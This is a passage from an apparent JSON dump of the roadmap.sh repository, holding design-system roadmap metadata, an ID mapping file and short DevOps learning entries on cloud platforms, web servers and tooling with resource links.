\"target\": \"JnaNZ9MfMrXQrjW2wABzB\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__zSv63LkcNpHjAMB4eZewEx2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnaNZ9MfMrXQrjW2wABzB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"a53cl6ZKvYXxG25Ii2_zu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__JnaNZ9MfMrXQrjW2wABzBx2-JfXwzkN29UGz17FYHHE3Aw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TWx2jJqOyI3CXCOTQ106_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__TWx2jJqOyI3CXCOTQ106_y2-JfXwzkN29UGz17FYHHE3Az2\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/design-system/design-system.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/design-system.json'\npdfUrl: '/pdfs/roadmaps/design-system.pdf'\norder: 13\nbriefTitle: 'Design System'\nbriefDescription: 'Step by step guide to building a modern Design System'\ntitle: 'Design System'\nrenderer: 'editor'\ndescription: 'Learn how to create a design system with this step by step guide'\nisNew: false\nhasTopics: true\nnote: '**Note:** System Design is a different topic, visit [System Design roadmap](/system-design) for that.'\ndimensions:\n  width: 968\n  height: 2900\nschema:\n  headline: 'Design System Roadmap'\n  description: 'Learn how to create a Design System with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/design-system.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-19'\nseo:\n  title: 'Design System Roadmap'\n  description: 'Learn how to create a design system or become a design system engineer with this step by step guide with resources.'\n  keywords:\n    - 'guide to create a design system'\n    - 'guide to becoming a design system engineer'\n    - 'design system engineer'\n    - 'design system engineer 2025'\n    - 'design system skills'\n    - 'guide to design system'\n    - 'design system roadmap'\n    - 'design system skills 2025'\n    - 'design system skills test'\n    - 'skills for design system'\n    - 'what is design system'\n    - 'design system quiz'\n    - 'design system interview questions'\n    - 'design system engineer roadmap'\n    - 'design system engineer roadmap 2025'\n    - 'become a design system engineer'\n    - 'design system engineer career path'\n    - 'design system engineer'\n    - 'modern design system engineer'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'javascript'\n  - 'react'\n  - 'nodejs'\n  - 'software-architect'\n  - 'system-design'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/design-system/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/design-system/migration-mapping.json",
    "content": "{\n  \"design-system-basics\": \"uvnV1IjE8RV-FKDxHntUU\",\n  \"design-system-basics:what-is-design-system\": \"4PrkkoZ5fY-oow0O-bVhu\",\n  \"design-system-basics:need-of-design-system\": \"2rlmLn_yQQV-7DpX1qT98\",\n  \"design-system-basics:atomic-design\": \"6r9XbwlBtHmJrhviG2cTD\",\n  \"design-system-basics:design-system-vs-component-library\": \"J5mU0v491qrm-mr1W3Msd\",\n  \"design-system-basics:stakeholders-involved\": \"_3_tFOpQisx6DSP4Yc2E2\",\n  \"design-system-basics:design-system-examples\": \"hauTvrBOAHgrUnO_m_kDM\",\n  \"design-system-terminology\": \"de0TKvmFTDmKGZc5X7iFq\",\n  \"design-system-terminology:component\": \"97cpJyKBKNAq1P_pQZH-t\",\n  \"design-system-terminology:component-library\": \"vJ4WytrzY7j10mo8S3O1u\",\n  \"design-system-terminology:design-language\": \"fPUuXrlchna3K00KcY4O6\",\n  \"design-system-terminology:governance\": \"kifE3JE2immnU1O3-toZf\",\n  \"design-system-terminology:guidelines\": \"mlBzJ2YvBr9QuOthKdj0p\",\n  \"design-system-terminology:pattern\": \"7xPT8rUX3hjSWbxH_FfQs\",\n  \"design-system-terminology:pilot\": \"4dzoZmkNHPedgLqLy93t8\",\n  \"design-system-terminology:token\": \"jETJVuS_EczJiQASLqaQr\",\n  \"design-system-terminology:ui-kit\": \"lUObv2N7eH3Jdnwwd5vmI\",\n  \"making-a-design-system\": \"dUaoMARPabiD4DRqdkaer\",\n  \"making-a-design-system:from-scratch\": \"-9I3fTpnQlmcZmIIuQiPe\",\n  \"making-a-design-system:from-existing-design\": \"z5gBy7BjlBKwbYbxXtoDA\",\n  \"existing-design-analysis\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n  \"existing-design-analysis:existing-design-process\": \"CnsDoZ3gIaPeNbwHuZXYJ\",\n  \"existing-design-analysis:visual-audit\": \"NKm-gXbt5Y7dDwKVkPHjX\",\n  \"existing-design-analysis:ab-tests-and-experiments\": \"ILRDAnpfGHCZq-FBlbfDO\",\n  \"existing-design-analysis:regional-requirements\": \"pRJ9wEPNfFx_6EYB501vk\",\n  \"existing-design-analysis:documentation\": \"-b4GjLpL_ppDMJSiChTef\",\n  \"design-language\": \"JnaNZ9MfMrXQrjW2wABzB\",\n  \"design-language:brand:writing-guidelines\": \"toyNbBB5tbyiJZkzuklIv\",\n  \"design-language:brand:tone-of-voice\": \"fnlVIgsmyxj2UVCCjM-8g\",\n  \"design-language:brand:terminology\": \"Zspu1SsuTE34PVmYePcs4\",\n  \"design-language:brand:design-principles\": \"1RJrMVJf_3clM7E5OML-f\",\n  \"design-language:brand:vision\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"design-language:logo:monochrome-version\": \"Wn8CylBz-hyl9-iXcUVTO\",\n  \"design-language:logo:small-use-guidance\": \"FA3JsZgNhKrgNHVtVreol\",\n  \"design-language:logo:placement-and-clearance-guidance\": \"7n61402xwhIgJ7dPHg8q7\",\n  \"design-language:logo:usage-guidance\": \"RmSFwKqL9yXXxGKZusKWX\",\n  \"design-language:logo:different-file-formats\": \"-6LPUMRm-SqvRVEWPDFl8\",\n  \"design-language:guidelines:accessibility\": \"aLtOGjNFxaRzg0PI-ed99\",\n  \"design-language:guidelines:user-onboarding\": \"PlW8mHnOTyYnbtl0zUSG9\",\n  \"design-language:guidelines:microcopy-guidelines\": \"bD-DjUbAA6l2eK1R9ITcK\",\n  \"design-tokens\": \"a53cl6ZKvYXxG25Ii2_zu\",\n  \"design-tokens:color:accessibility\": \"fW0cEy2SB0HDbiF7QA7Ev\",\n  \"design-tokens:color:functional-colors\": \"__Pv19gRr2SFknVnfm0Mr\",\n  \"design-tokens:color:dark-mode\": \"kxUnqpydDwB73IwrCPZM0\",\n  \"design-tokens:color:guidelines\": \"XDfxs5cgjSuTEprZi2Z5b\",\n  \"design-tokens:layout:units\": \"wQbMhC7q3qdKYf_pX5qL4\",\n  \"design-tokens:layout:grid\": \"8f2V-rM7soorTTvNo5Vcx\",\n  \"design-tokens:layout:breakpoints\": \"djwnJq9Y_Hx1Ynw01wr_u\",\n  \"design-tokens:layout:spacing\": \"dXaYOwTAnYSlipNEBSV9l\",\n  \"design-tokens:iconography:accessibility\": \"DhrnZwQODG0P7D-27_3ec\",\n  \"design-tokens:iconography:style\": \"SPK1i0XuHpNEWyi1iIxrV\",\n  \"design-tokens:iconography:naming\": \"wiclAEEYioRgLmXFcKQ4E\",\n  \"design-tokens:iconography:grid-relation\": \"6Hmj_TeQ563jshqAAl__I\",\n  \"design-tokens:iconography:sizes\": \"w3LS85eFerscaxb2Xp-dP\",\n  \"design-tokens:iconography:keywords\": \"HDf2L4F1f8uUGpVaf7Y7z\",\n  \"design-tokens:iconography:reserved-icons\": \"Y0KxHVrcNGHDao-38Oz3w\",\n  \"design-tokens:iconography:guidelines\": \"eTxhpC3AQIMcUax6WFU9U\",\n  \"design-tokens:typography:responsiveness\": \"8YVCtgYRHR3VcpUJXMVwP\",\n  \"design-tokens:typography:grid-relation\": \"Zl7MVllzJgObruYtlibKf\",\n  \"design-tokens:typography:readability\": \"L2NHddsv5RGR_BW0I3f4T\",\n  \"design-tokens:typography:performance\": \"wFL9axjaPcVvI8XWduxgz\",\n  \"design-tokens:typography:guidelines\": \"Jab5LO0mGhTy1cU61Catu\",\n  \"core-components\": \"Hw_LQInG6OtSwDXch3Lvg\",\n  \"core-components:avatar\": \"h3TZY1yBkzLYUK6W7K7xs\",\n  \"core-components:banner\": \"kkqRIgdXWaJbX9CjLpwha\",\n  \"core-components:badge\": \"LNsXQI8sE_5kzSD_iMLJA\",\n  \"core-components:button\": \"LWihkf4q5UawjLd84KQxN\",\n  \"core-components:card\": \"rZ7d1C9swiqlRTbdJLZ0R\",\n  \"core-components:carousel\": \"yWEXfjzuzk99dxjZlG4Cq\",\n  \"core-components:dropdown\": \"MtBSvKoyjdLd6DIdolLRi\",\n  \"core-components:icon\": \"bzY_iXRnotct_WnNRTlbd\",\n  \"core-components:input-checkbox\": \"F5_sxUnnGEdgF6BkA5T5x\",\n  \"core-components:input-radio\": \"rN-_plAA5FkcQl03wsL18\",\n  \"core-components:input-text\": \"hjiJJg4KNr8lyktFQd868\",\n  \"core-components:input-switch\": \"NISeaJUlDtQ0kSuyxmrOT\",\n  \"core-components:select\": \"n1nUkMqGtPobZPJHCvPsk\",\n  \"core-components:textarea\": \"iusI39fxcu2rbMXiosaM6\",\n  \"core-components:list\": \"2T7tiM3Ew3H1U5iJR2TDb\",\n  \"core-components:loading-indicator\": \"JhnHOMIlU6mQcwvIpErUY\",\n  \"core-components:modal\": \"IjNitkG25vNo30rB4ckNV\",\n  \"core-components:tabs\": \"1vYR1EMyZhJA-znxnFBBb\",\n  \"core-components:toast\": \"-T7uL6a3lJ5-IIcDaG6IN\",\n  \"core-components:tooltip\": \"2oCAzsk_y2Y2oHUi467dp\",\n  \"tooling\": \"jggrr5nZOe6FY3ZrZJTOw\",\n  \"tooling:development:component-catalog\": \"VeLiPzbGr22_Mh_8T2Gnf\",\n  \"tooling:development:documentation\": \"k1Lwk_b6cLIeyQwc4RUh1\",\n  \"tooling:development:code-style\": \"zEqFAuH9zmKTLwwgx54pW\",\n  \"tooling:development:unit-testing\": \"y8No8I0MltA91j4Q2toT0\",\n  \"tooling:development:accessibility-testing\": \"yhP8EhyCWWRBLkYPyOFeg\",\n  \"tooling:development:semantic-versioning\": \"ZLt1yJqinC8OSpqucC2dV\",\n  \"tooling:development:release-strategy\": \"CfWCQNaCJGL-egRhFhc4B\",\n  \"tooling:development:commit-guidelines\": \"IVYe8oh1IWbUbxMZRxVQA\",\n  \"tooling:development:pr-templates\": \"wd9ZHZmqV7wbLN-9V4EQy\",\n  \"tooling:development:contribution-guidelines\": \"xJ1LAAhiZvbZOLRVc1HZa\",\n  \"tooling:design:design-editor\": \"ccpT9MPFbc3Ewjm1tFMsZ\",\n  \"tooling:design:plugins\": \"uO-2O0Jwh_DxrMAB9wxp1\",\n  \"tooling:design:version-control\": \"CYY6nbQiC2pu5ATWmO6wA\",\n  \"tooling:design:contribution-guidelines\": \"TiCNCRpMPgZUhn7JdaIZA\",\n  \"project-management:task-management:roadmap\": \"gMrX5600JqFDplriq-eU3\",\n  \"project-management:task-management:milestones\": \"ruPXxVwmD9vSlS7rBZmA-\",\n  \"project-management:task-management:ticketing\": \"i39J0fk4DaPeNFIMbH0ap\",\n  \"project-management:analytics:component-analytics\": \"G8dOkM_4hP7wPF3QJ8y4g\",\n  \"project-management:analytics:error-logging\": \"xYqDmDpjwkShtL86nt-vY\",\n  \"project-management:analytics:tooling-analytics\": \"qiJGYYWL4naJX-MgZA9Ms\",\n  \"project-management:analytics:service-and-health-metrics\": \"5znnOkpf9G9tdiMWB6Rut\",\n  \"project-management:communications:community-meetings\": \"eG8ranXuINtcqWfeMH5GW\",\n  \"project-management:communications:communication-channel\": \"LWrrKrhwXfMDKgbFW5DuO\",\n  \"project-management:communications:open-hours\": \"YWoPoO9IW3vLZyxLL2fnT\",\n  \"project-management:communications:faqs\": \"cpAeotBxN8BCsU9RqTEue\",\n  \"project-management\": \"JfXwzkN29UGz17FYHHE3A\"\n}"
  },
  {
    "path": "src/data/roadmaps/devops/content/alibaba-cloud@YUJf-6ccHvYjL_RzufQ-G.md",
    "content": "# Alibaba Cloud\n\nAlibaba Cloud is the cloud computing arm of Alibaba Group, offering a broad range of cloud services and solutions designed to support enterprise IT infrastructure and digital transformation. It provides scalable and flexible cloud computing resources, including virtual machines, storage, databases, and networking. Alibaba Cloud’s services also encompass big data analytics, artificial intelligence, machine learning, and security solutions. Known for its global data center network, it supports businesses with high availability, disaster recovery, and compliance needs. Alibaba Cloud is a key player in the cloud market, particularly in Asia, providing comprehensive tools for businesses to build, deploy, and manage applications and services in the cloud.\n\nVisit the following resources to learn more:\n\n- [@official@Alibaba Cloud](https://www.alibabacloud.com/)\n- [@official@Getting Started with Alibaba Cloud](https://www.alibabacloud.com/getting-started)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ansible@h9vVPOmdUSeEGVQQaSTH5.md",
    "content": "# Ansible\n\nAnsible is an open-source automation tool used for configuration management, application deployment, and task automation. It simplifies the process of managing and orchestrating infrastructure by using a declarative language to define desired states and configurations. Ansible operates using YAML files, called playbooks, which describe the tasks to be executed on remote systems. It employs an agentless architecture, meaning it uses SSH or other remote protocols to execute tasks on target machines without requiring additional software to be installed. Ansible is widely used for automating repetitive tasks, ensuring consistency, and managing large-scale deployments across various environments.\n\nVisit the following resources to learn more:\n\n- [@official@Ansible Website](https://www.ansible.com/)\n- [@official@Ansible Documentation](https://docs.ansible.com/)\n- [@article@Getting Started with Ansible](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-ansible-on-ubuntu-20-04)\n- [@course@Ansible Full Course for Beginners](https://www.youtube.com/watch?v=9Ua2b06oAr4)\n- [@video@Ansible in 100 Seconds](https://www.youtube.com/watch?v=xRMPKQweySE)\n- [@video@Ansible Full Course to Zero to Hero](https://www.youtube.com/watch?v=GROqwFFLl3s)\n- [@feed@Explore top posts about Ansible](https://app.daily.dev/tags/ansible?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/apache@0_GMTcMeZv3A8dYkHRoW7.md",
    "content": "# Apache\n\nApache HTTP Server, commonly known as Apache, is an open-source web server software that serves web content and applications over the internet. It is one of the oldest and most widely used web servers, known for its robustness, flexibility, and extensive feature set. Apache supports various modules that enhance its functionality, such as authentication, URL rewriting, and SSL/TLS encryption. It is highly configurable through its `.conf` files, allowing administrators to tailor the server's behavior to meet specific needs. Apache is compatible with multiple operating systems and integrates with other technologies, making it a popular choice for hosting websites and web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Server Website](https://httpd.apache.org/)\n- [@video@What is Apache Web Server?](https://www.youtube.com/watch?v=kaaenHXO4t4)\n- [@video@Apache Web Server Setup on Ubuntu 22.04 (with SSL)](https://www.youtube.com/watch?v=VXSgEvZKp-8)\n- [@feed@Explore top posts about Apache](https://app.daily.dev/tags/apache?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/application-monitoring@wNguM6-YEznduz3MgBCYo.md",
    "content": "# Application Monitoring\n\nApplication monitoring involves the continuous observation and analysis of software applications to ensure they perform optimally, identify issues, and provide insights into their operation. This process includes tracking metrics such as response times, error rates, resource utilization (CPU, memory, and disk), and transaction performance. Application monitoring tools collect and analyze data to detect anomalies, provide alerts for potential problems, and offer detailed insights into application behavior and performance. By monitoring applications, organizations can proactively address issues, optimize performance, and improve user experience, ultimately ensuring reliability and efficiency in their software systems.\n\nVisit the following resources to learn more:\n\n- [@article@Applying Basic vs. Advanced Monitoring Techniques](https://thenewstack.io/applying-basic-vs-advanced-monitoring-techniques/)\n- [@article@Why Legacy Apps Need Your Monitoring Love, Too](https://thenewstack.io/why-legacy-apps-need-your-monitoring-love-too/)\n- [@video@Application Monitoring - 4 Golden Signals](https://www.youtube.com/watch?v=PHcnmTdVPT0)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/argocd@i-DLwNXdCUUug6lfjkPSy.md",
    "content": "# ArgoCD\n\nArgo CD is a continuous delivery tool for Kubernetes that is based on the GitOps methodology. It is used to automate the deployment and management of cloud-native applications by continuously synchronizing the desired application state with the actual application state in the production environment. In an Argo CD workflow, changes to the application are made by committing code or configuration changes to a Git repository. Argo CD monitors the repository and automatically deploys the changes to the production environment using a continuous delivery pipeline. The pipeline is triggered by changes to the Git repository and is responsible for building, testing, and deploying the changes to the production environment. Argo CD is designed to be a simple and efficient way to manage cloud-native applications, as it allows developers to make changes to the system using familiar tools and processes and it provides a clear and auditable history of all changes to the system. It is often used in conjunction with tools such as Helm to automate the deployment and management of cloud-native applications.\n\nVisit the following resources to learn more:\n\n- [@official@Argo CD - Argo Project](https://argo-cd.readthedocs.io/en/stable/)\n- [@video@ArgoCD Tutorial for Beginners](https://www.youtube.com/watch?v=MeU5_k9ssrs)\n- [@video@What is ArgoCD](https://www.youtube.com/watch?v=p-kAqxuJNik)\n- [@feed@Explore top posts about ArgoCD](https://app.daily.dev/tags/argocd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/artifact-management@zuBAjrqQPjj-0DHGjCaqT.md",
    "content": "# Artifacts\n\nIn software development, artifacts are various outputs produced throughout the development lifecycle, including source code, binaries, documentation, configuration files, build outputs, and test results. These artifacts are essential for managing, deploying, and maintaining applications, as they provide the necessary resources and documentation for development, testing, and production environments. They help track the progress of a project, ensure consistency, and facilitate the efficient delivery and operation of software systems.\n\nVisit the following resources to learn more:\n\n- [@article@What are Artifacts - Oracle](https://docs.oracle.com/en-us/iaas/Content/devops/using/artifacts.htm)\n- [@article@What is an Artifact - Atlassian](https://support.atlassian.com/bitbucket-cloud/docs/use-artifacts-in-steps/)\n- [@video@Learn about GitLab Artifacts and Cache](https://www.youtube.com/watch?v=gEfsCU-Sj1g)"
  },
  {
    "path": "src/data/roadmaps/devops/content/artifactory@C_sFyIsIIpriZlovvcbSE.md",
    "content": "# Artifactory\n\nArtifactory is a universal DevOps solution for hosting, managing, and distributing binaries and artifacts. Any type of software in binary form – such as application installers, container images, libraries, configuration files, etc. – can be curated, secured, stored, and delivered using Artifactory. The name “Artifactory” reflects the fact that it can host any type of “artifact” needed in your software development “factory.” In software development, an artifact is any object produced during the software development and delivery process. Artifacts include the files used to install and run applications, as well as any complementary information necessary to configure or manage software. Artifactory serves as the central hub for your DevOps processes. All artifacts, dependencies, packages, etc. ultimately get put into and pulled from Artifactory.\n\nVisit the following resources to learn more:\n\n- [@official@Artifactory Website](https://jfrog.com/artifactory/)\n- [@video@Key Features of JFrog Artifactory in 5 Minutes](https://www.youtube.com/watch?v=ZCNOtVj7bow)\n- [@feed@Explore top posts about Artifactory](https://app.daily.dev/tags/artifactory?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/availability@JCe3fcOf-sokTJURyX1oI.md",
    "content": "# Availability\n\nAvailability is the percentage of time that a system is functional and working as intended, generally referred to as uptime. Availability can be affected by hardware or software errors, infrastructure problems, malicious attacks, and system load. Many cloud providers typically offer their users a service level agreement (SLA) that specifies the exact percentages of promised uptime/downtime. Availability is related to reliability in this sense. For example, a company might promise 99.99% uptime for their services.\n\nVisit the following resources to learn more:\n\n- [@article@Defining Availability, Maintainability and Reliability in SRE](https://devops.com/defining-availability-maintainability-and-reliability-in-sre/)\n- [@article@Techniques for Achieving High Availability](https://www.sqlservercentral.com/articles/cloud-computing-basics-achieving-high-availability-2)\n- [@video@SLIs, SLOs, SLAs, oh my! (class SRE implements DevOps)](https://www.youtube.com/watch?v=tEylFyxbDLE)"
  },
  {
    "path": "src/data/roadmaps/devops/content/aws-cdk@XA__697KgofsH28coQ-ma.md",
    "content": "# AWS CDK\n\nThe AWS Cloud Development Kit (AWS CDK) is an open-source software development framework used to provision cloud infrastructure resources in a safe, repeatable manner through AWS CloudFormation. AWS CDK offers the flexibility to write infrastructure as code in popular languages like JavaScript, TypeScript, Python, Java, C#, and Go.\n\nVisit the following resources to learn more:\n\n- [@course@AWS CDK Crash Course for Beginners](https://www.youtube.com/watch?v=D4Asp5g4fp8)\n- [@official@AWS CDK](https://aws.amazon.com/cdk/)\n- [@official@AWS CDK Documentation](https://docs.aws.amazon.com/cdk/index.html)\n- [@opensource@AWS CDK Examples](https://github.com/aws-samples/aws-cdk-examples)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/aws-ecs--fargate@FE2h-uQy6qli3rKERci1j.md",
    "content": "# ECS / Fargate\n\nECS is a container orchestration service that allows you to run Docker containers on a cluster of EC2 instances. ECS is a good choice if you want to run Docker containers on EC2 instances and have full control over the underlying infrastructure. Fargate is a serverless container orchestration service that allows you to run Docker containers without having to manage servers, clusters, or any other infrastructure. Fargate is a good choice if you want to run Docker containers without having to manage servers or clusters.\n\nVisit the following resources to learn more:\n\n- [@official@AWS - Fargate Docs](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/AWS_Fargate.html)\n- [@official@AWS - ECS Docs](https://docs.aws.amazon.com/ecs/)\n- [@video@Amazon ECS: AWS Fargate Overview](https://www.youtube.com/watch?v=yi22xrvPnPk)\n- [@video@AWS ECS Tutorial](https://www.youtube.com/watch?v=esISkPlnxL0)"
  },
  {
    "path": "src/data/roadmaps/devops/content/aws-lambda@UfQrIJ-uMNJt9H_VM_Q5q.md",
    "content": "# AWS Lambda\n\nAWS Lambda is a serverless compute service that allows you to run code without provisioning or managing servers. It automatically scales, executes code in response to triggers, and charges only for the compute time consumed. Lambda supports multiple programming languages and integrates seamlessly with other AWS services, making it ideal for building microservices, automating tasks, and processing data streams with minimal operational overhead.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda Introduction](https://docs.aws.amazon.com/lambda/latest/operatorguide/intro.html)\n- [@video@AWS Lambda Tutorial: Getting Started with Serverless Computing](https://www.youtube.com/watch?v=RtiWU1DrMaM)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/aws@1ieK6B_oqW8qOC6bdmiJe.md",
    "content": "# AWS\n\nAmazon Web Services has been the market-leading cloud computing platform since 2011, ahead of Azure and Google Cloud. AWS offers over 200 services with data centers located all over the globe. AWS is an online platform that provides scalable and cost-effective cloud computing solutions. It is a broadly adopted cloud platform that offers several on-demand operations like compute power, database storage, content delivery, and so on.\n\nVisit the following resources to learn more:\n\n- [@course@100 hour AWS Complete Course 2024](https://www.youtube.com/watch?v=zA8guDqfv40)\n- [@official@AWS Website](https://aws.amazon.com/)\n- [@official@AWS Cloud Essentials](https://aws.amazon.com/getting-started/cloud-essentials/)\n- [@official@Overview of Amazon Web Services](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/introduction.html)\n- [@article@Create an AWS account](https://grapplingdev.com/tutorials/how-to-create-aws-account)\n- [@feed@Explore top posts about AWS](https://app.daily.dev/tags/aws?ref=roadmapsh)\n- [@roadmap@Visit the Dedicated AWS Roadmap](https://roadmap.sh/aws)"
  },
  {
    "path": "src/data/roadmaps/devops/content/azure-functions@mlrlf2McMI7IBhyEdq0Nf.md",
    "content": "# Azure Functions\n\nAzure Functions is a serverless compute service in Microsoft Azure that enables developers to run event-triggered code without managing infrastructure. It supports multiple programming languages and integrates seamlessly with other Azure services, allowing for scalable, on-demand execution of small, focused pieces of code. Azure Functions automatically scales based on demand, charges only for actual compute time used, and can be triggered by various events such as HTTP requests, timers, or changes in cloud services, making it ideal for microservices, data processing, and workflow automation tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Azure Functions - Serverless Computing](https://azure.microsoft.com/en-in/products/functions)\n- [@official@Azure Functions Overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview)\n- [@video@Getting Started With Azure Functions](https://www.youtube.com/watch?v=l3beXs3o-0w)\n- [@feed@Explore top posts about Azure](https://app.daily.dev/tags/azure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/azure@ctor79Vd7EXDMdrLyUcu_.md",
    "content": "# Azure\n\nMicrosoft Azure is a comprehensive cloud computing platform offering a wide array of services for building, deploying, and managing applications through Microsoft-managed data centers. It provides Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS) solutions, supporting various programming languages, tools, and frameworks, including both Microsoft-specific and third-party systems. Azure's services span computing, analytics, storage, networking, and more, enabling businesses to scale and transform their operations, leverage AI and machine learning, and implement robust security measures, all while potentially reducing IT costs through its pay-as-you-go pricing model.\n\nVisit the following resources to learn more:\n\n- [@official@Azure Website](https://azure.microsoft.com/en-us/)\n- [@opensource@Microsoft Azure Guide](https://github.com/mikeroyal/Azure-Guide)\n- [@video@Microsoft Azure Fundamentals Certification Course (AZ-900)](https://www.youtube.com/watch?v=5abffC-K40c)\n- [@feed@Explore top posts about Azure](https://app.daily.dev/tags/azure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/bash@syBIAL1mHbJLnTBoSxXI7.md",
    "content": "# Bash Scripts\n\nBash (Bourne Again Shell) is a powerful Unix shell and command language interpreter, serving as the default shell for most Linux distributions and macOS. It provides a command-line interface for interacting with the operating system, executing commands, and automating tasks through shell scripts. Bash supports variables, control structures, functions, and command substitution, making it versatile for system administration, DevOps tasks, and general-purpose scripting. Its ability to pipe commands, redirect input/output, and utilize a vast array of built-in commands and utilities makes it an essential tool for developers and system administrators in managing and automating workflows in Unix-like environments.\n\nVisit the following resources to learn more:\n\n- [@course@Bash Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=tK9Oc6AEnR4)\n- [@article@Interactive Shell Scripting Tutorial](https://www.learnshell.org/en/Welcome)\n- [@video@Bash in 100 Seconds](https://www.youtube.com/watch?v=I4EWvMFj37g)\n- [@feed@Explore top posts about Bash](https://app.daily.dev/tags/bash?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/bitbucket@Z7SsBWgluZWr9iWb2e9XO.md",
    "content": "# Bitbucket\n\nBitbucket is a web-based version control repository hosting service owned by Atlassian, primarily used for source code and development projects that use Git or Mercurial revision control systems. It offers both cloud-based and self-hosted options, integrating seamlessly with other Atlassian tools like Jira and Trello. Bitbucket provides features such as pull requests, code reviews, CI/CD pipelines through Bitbucket Pipelines, and built-in wikis for documentation. It supports private repositories for free, making it popular among small teams and enterprises alike. With its focus on team collaboration, project management, and deployment automation, Bitbucket serves as a comprehensive platform for the entire software development lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@Bitbucket Website](https://bitbucket.org)\n- [@official@Bitbucket Overview](https://bitbucket.org/product/guides/getting-started/overview)\n- [@video@Bitbucket Tutorial | How to use Bitbucket Cloud](https://www.youtube.com/watch?v=M44nEyd_5To)\n- [@feed@Explore top posts about Bitbucket](https://app.daily.dev/tags/bitbucket?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/caching-server@R4XSY4TSjU1M7cW66zUqJ.md",
    "content": "# Caching server\n\nA caching server, also known as a proxy server or cache server, is a dedicated network server that saves web pages and other Internet content locally to reduce bandwidth usage, server load, and perceived lag. It works by intercepting requests from clients, saving the responses from web servers, and serving cached content to subsequent requests for the same information. Caching servers can significantly improve response times and reduce network traffic, especially for frequently accessed content. They are commonly used in content delivery networks (CDNs), enterprise networks, and Internet service providers to optimize performance, reduce costs, and enhance user experience by serving content from a location closer to the end-user.\n\nVisit the following resources to learn more:\n\n- [@article@What is Caching?](https://www.cloudflare.com/en-gb/learning/cdn/what-is-caching/)\n- [@article@What is Cache Server?](https://networkencyclopedia.com/cache-server/)\n- [@article@Site Cache vs Browser Cache vs Server Cache](https://nordvpn.com/cybersecurity/glossary/caching-server/)\n- [@video@Cache Systems Every Developer Should Know](https://www.youtube.com/watch?v=dGAgxozNWFE)"
  },
  {
    "path": "src/data/roadmaps/devops/content/caddy@54UZNO2q8M5FiA_XbcU_D.md",
    "content": "# Caddy\n\nCaddy is a modern, open-source web server written in Go, designed to be easy to use, secure, and performant out of the box. It features automatic HTTPS with Let's Encrypt certificate provisioning and renewal, HTTP/2 and HTTP/3 support, and a simple configuration syntax. Caddy can serve static files, reverse proxy to other services, and handle various web hosting tasks with minimal setup. Its modular architecture allows for easy extension through plugins, making it versatile for different deployment scenarios. Caddy's emphasis on simplicity and security makes it popular for both small projects and production environments, particularly among developers looking for a straightforward, feature-rich web server solution.\n\nVisit the following resources to learn more:\n\n- [@official@Caddy Website](https://caddyserver.com/)\n- [@opensource@caddyserver/caddy](https://github.com/caddyserver/caddy)\n- [@video@Exploring Caddy, An Open Source Web Server](https://www.youtube.com/watch?v=tqXL5QLvPRQ)"
  },
  {
    "path": "src/data/roadmaps/devops/content/chef@kv508kxzUj_CjZRb-TeRv.md",
